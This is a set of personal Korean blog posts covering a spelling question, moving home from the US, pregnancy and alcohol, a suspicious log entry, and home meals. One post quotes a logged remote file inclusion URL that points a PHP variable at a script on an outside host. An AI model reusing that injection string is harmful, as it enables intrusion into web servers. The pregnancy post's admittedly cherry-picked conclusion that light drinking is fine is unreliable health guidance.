선짓국? 선지국?

좀전에 부인님이 “나의 선짓국 추억”이라는 글을 블로그에 남겼다.

“선지국” 아니던가? “선짓국”이라는 철자는 어떤 간판에서도 본 기억이 없는걸.
구글 검색결과,
“선짓국”은 38,300개의 검색 결과가 나온 반면,
“선지국”은 110,000개의 검색 결과가 나왔다.
역시 내 예상대로다.
다수결로 생각하면 “선지국”이 맞을 것 같지만,
사전에 등재된 단어는 “선짓국”이랜다.
부인님께 이 얘기를 하니,
부인님도 헷갈려서 네이버 사전을 찾아봤댄다.
표준어는 어려워;;;

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귀국 준비

정말 얼마 안 남았다. 12월 30일 뉴욕에 가서 며칠 놀다가 1월 3일 한국에 돌아갈 계획이다.

 
크리스마스부터 1월 3일까지 도서관이 문을 닫는다고 해서, 그동안 빌린 책들을 모두 반납했다. 이제는 공부를 할래도 할 수가 없다. ㅋㅋ
그동안 사용하던 물건들도 지역 한인 사이트에 내다 팔았다. 하나씩 하나씩 찔끔찔끔 팔리더니, 어제는 어떤 부부가 남아 있는 물건을 모두 사겠다며 선금을 주고 갔다. 물건은 우리가 방을 비우는 30일 아침에 오셔서 가져가겠다고 했다. 모든 물건을 파는 데 성공하고 나니 뿌듯하다 ㅎㅎ
전기, 인터넷, 전화도 해지 신청을 했고, 은행 계좌는 어떻게 할지 고민중.

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음주가 태아에 미치는 영향에 대한 연구들

임신 출산 카페를 보면, 가끔씩 “임신 중에 술을 먹어요 되나요?”, “임신 중에 감기약을 먹어도 되나요?”, “임신 중에 … 해도 되나요?”와 같은 질문이 올라온다. 콜라, 커피, 녹차, 회 등을 먹어도 되느냐는 질문도 올라온다. 때로는 임신인 줄 모르고 술이나 약을 먹었다며 혹시 애를 지워야 하는지를 묻는 사람도 있다. 임신 관련 서적에도 “이러저러한 음식이나 행동은 위험할지 모르니, 또는 그 위험성이 알려져 있지 않으므로, 또는 악영향이 보고된 적은 없지만, 가급적 삼가는 것이 좋다”는 얘기가 꽤 있다.

카페에 올라온 질문에 대한 답변은 대체로 두 가지 형태를 띤다. 첫째는 어디서 들은 얘기를 토대로 한 조언 : “술은 절대 먹으면 안되요”(자신이 먹어 보고서 한 얘기는 아닐테니 -_-), “포도주 한 잔 정도는 괜찮다고 들었어요”, “아이를 생각해야지요. 약은 뭐든 먹으면 안되요”, “소화제는 괜찮대요”, “회 먹으면 안 된다고 들었어요”, “생선은 중금속 때문에 안 된대요”, “커피 먹으면 까만 애 낳는대요(-_-)”, “카페인은 태아에 안좋아요. 대신 사이다 드세요” 등등. 둘째는 자신이나 자기 주변의 경험을 토대로 한 조언 : “커피 자주 마셨지만 우리 애 아주 멀쩡했다”, “땅콩 먹었더니 애가 아토피가 생긴 것 같다” 등등.

이러한 수많은 조언들 중에서 어떤 조언을 신뢰해야 할까? 커피의 경우 원래는 안 좋지만 하루에 몇 잔 이하는 괜찮다는 식의 조언이 다수인데, 대체 커피의 카페인이 태아에 안 좋다는 얘기는 실제 연구 결과가 전해진 것일까 아니면 떠다니는 속설이 전해진 것일까? 또 그 몇 잔 이내는 괜찮다는 정량적인 조언의 출처는 어디일까? 개인적인 경험에 기초한 조언 또한 신뢰하기가 어렵다. “…해봤지만 멀쩡했다”는 얘기는 확률적으로 운이 좋았던 경우일 수도 있고, “A 때문에 B가 생긴 것 같다”는 개인적인 얘기는 수많은 가능한 원인 중에 하필 A를 지목한 이유가 불투명하기 때문이다.

그동안 우리 부부는 이런 조언들에 대해 그다지 신뢰하기 어렵다고 생각하면서도, 각각의 근거를 찾아보는 것도 귀찮고 대충 그럴듯한 조언으로 보이는 것들을 취사 선택해서 적당한 선에서 지켜왔다. 예를 들면 커피는 위에 나온 대로 몇 잔 이내로 마시고, 이러저런 음식 먹지 말라는 조언은 모두 무시하고 골고루만 먹기로 했다. 하지만 근거가 별로 없어 보이는 조언들조차도 은근히 신경이 쓰이면서 스트레스가 생기는 것 같다. 부인님은 자신이 요즘 땅콩을 안 먹는 이유가 원래 안 좋아해서 안 먹는 건지 친구가 얘기한 땅콩->아토피 영향설에 신경이 쓰여서 그런 건지 잘 모르겠다고 한다.  

술의 경우, 임신 이후 부인님은 어쩌다 술 마실 기회가 있을 때 맥주 한 모금 입에 대는 정도로만 술을 마셔왔다. 그런데 꼭 그래야 하는 건지 궁금해졌다. 사실 난 사람들이 임산부 술 먹지 말라는 얘기가 별 근거 없이 “그냥 어른한테 안 좋으니 태아한테도 안 좋겠지” 하는 식의 추측성 얘기가 아닐까 생각하고 있었기 때문이다. 음주가 태아에 미치는 영향에 관한 연구 결과가 있기나 할까? 이러한 의심을 가지고 검색을 해봤는데, 웬걸… 생각보다 많은 연구가 이루어져 있었다.

죽 훑어본 결과를 요약하자면, 알콜은 분자 크기가 작아 태반을 통과해 태아에게 쉽게 전달되며, 이 알콜은 태반의 혈관을 수축시켜 산소와 영양분의 공급을 방해하는가 하면, 특히 임신 초기(12-15주) 태아의 신경계 형성을 저해한다. 그래서 임신 기간 과도한 음주를 한 임신부는 그렇지 않은 임신부에 비해 정신 지체 및 얼굴 기형을 특징으로 하는 태아 알콜 증후군에 걸린 태아를 낳을 확률이 높다. 이는 거의 논란의 여지가 없는 것 같다.

그러나 과도한 음주의 기준은 논란거리이다. 대부분의 나라에서는 정책적으로 임신부에게 금주를 권고하고 있다고 한다. 그러나 영국 보건당국은 오랫동안 주 1,2잔의 포도주는 괜찮다는 권고를 하고 있었다고 한다. 그런데 소량의 음주도 위험을 초래할 수 있다는 연구 결과가 여럿 보고되고,[footnote]원숭이 실험 (1997년 한겨레)
소량의 음주도 태아의 반사 행동 발달 저해 (2005년 헬스조선)[/footnote] 임신중 음주를 한 임신부의 아이의 평균 지능지수가 그렇지 않은 아이보다 2 포인트 가량 낮다는 연구 결과가 보고되면서,[footnote]실수로 창을 닫아 출처를 모르겠음 -_-;; [/footnote] 2009년부터 완전 금주를 권고하는 것으로 정책을 바꾸었다.[footnote]임산부 음주 제한, 권리 침해인가?[/footnote] 그래서 영국 정부는 현재 임신부 전체에게 식비를 지원하면서, 단서 조항으로 금주와 금연을 약속받고 있다.[footnote]하이닥 음주 흡연에 관한 게시물[/footnote] 그러나 논란은 아직 끝이 나지 않은 것 같다. 2008년 영국의 연구 그룹은 주 1-2잔의 음주를 한 임신부의 태아가 한 잔도 마시지 않은 임신부의 태아보다 오히려 행동장애가 적고 언어능력도 더 좋다는 연구 결과를 보고 했다.[footnote]임신중 주당 1-2잔은 태아에 유익 (2008년 한경닷컴)[/footnote]  

기간에 따른 위험성을 다루는 논의도 정확하지 않다. 음주가 신경계에 영향을 주는 것으로 알려져 있기 때문에 신경계가 형성되는 임신 초기에 음주를 조심하라는 얘기는 대체로 일치한다. 소량의 음주도 위험하다는 2005년 헬스조선에서 소개된 연구도 사실은 임신 초기 음주의 영향을 다루고 있었다. 그러나 그 초기가 어디서부터 어디까지인지는 불확실하다. 어떤 사이트에서는 첫 임신 3개월까지는 단 한번의 음주로도 태아에게 치명적인 신경계 발달 장애를 일으킬 수 있다고 적혀 있었다.[footnote]임신중 음주와 태아알코올증후군 (아가사랑)[/footnote] 수많은 임신부를 불안에 떨게 하면서 “임신인 줄 모르고 술을 마셨는데 임신이래요. 어떡하죠? 애를 지워야 하나요?”와 같은 질문을 올리게 만든 주범이 바로 이 얘기인 듯하다. 그러나 다른 사이트에서는 오히려 12주 이전에는 임신부의 몸이 태아에 거의 영향을 미치지 않으니 걱정을 할 필요가 없고, 12주-15주 사이에 조심해야 한다고 말하고 있었다.[footnote]12주 이전의 음주는 큰 문제 없다 (스토리 서치)[/footnote] 내 느낌으로는, 특별한 근거는 없지만, 후자의 얘기가 더 맞을 것 같다.

그렇다면 임신 20주째에 접어드는 우리는 어떻게 하는 게 좋을까? 임신 초기도 지났으니 음주가 크게 위험할 것 같진 않다. 이제부터는 “임신중 주당 (포도주) 1-2잔은 괜찮다”는 연구 결과를 그냥 신뢰하고 조금씩 마셔도 되지 않을까 싶다. (맘에 드는 연구 결과만 취사 선택하는 건 어쩔 수 없다 -_-;;)

ps. 신기하게도 임신중 음주에 관한 연구를 찾아보면 영국 연구자들의 연구 결과를 많이 접하게 된다. 아마도 소량 음주 vs. 완전 금주 사이의 논쟁이 크게 벌어지다 보니, 관련 연구가 많이 이루어진 것 같다. 

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수상한 방문 기록

오늘 홈페이지의 로그를 확인해보니 아래와 같은 수상한 방문 기록이 남아 있었다.

http://zolaist.org/wiki/index.php//?_SERVER[DOCUMENT_ROOT]=http://www.teamspiritrealty.com/photo//data/id1.txt???


살짝 검색을 해보니 이런 형식의 해킹이 꽤 있는 것 같던데, 한글로 된 몇몇 자료는 무슨 뜻인지 잘 모르겠고, 영어로 된 검색 자료는 읽기 귀찮아서 포기 -_-; 혹시 이런 종류의 해킹에 대해 아는 사람 있나?

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요즘 먹고 사는 것들

미쿡에 산다고는 하지만, 먹고 사는 건 완전 한국식이다. 아래 사진을 보다 보면 우리가 어디서 사는지 의심스러울지도 모르겠다.

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콩나물국, 두부, 오뎅, 무생채, 무나물, 조개젓(거의 다 먹었다-_-)
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연어 구이, 오뎅, 김치, 무생채(거의 다 먹었다-_-)
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단촐하게... 된장찌개, 김치, 김
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불고기, 감자, 김치, 김
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갈비구이, 김치찌개, 김치, 호박, 오이
아래는 우리가 미쿡에 산다는 증거 사진
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리갈 시푸드에서 랍스터와 함께
메뉴판에 “Market Price”, 즉 한국말로 “시가”라고 적혀 있는 메뉴. 학회 때문에 뉴올리언즈에서 보스턴에 오신 부인님의 선배 대호씨가 사주셨다. 생각해보니 우리가 대접했어야 하는데 오히려 대접을 받은 것 같아 미안하면서 감사.^^
사진처럼 통째로 익혀진 랍스터에서 살을 빼먹어보기는 처음이라 무척 재밌었지만 맛은 약간 느끼했음.

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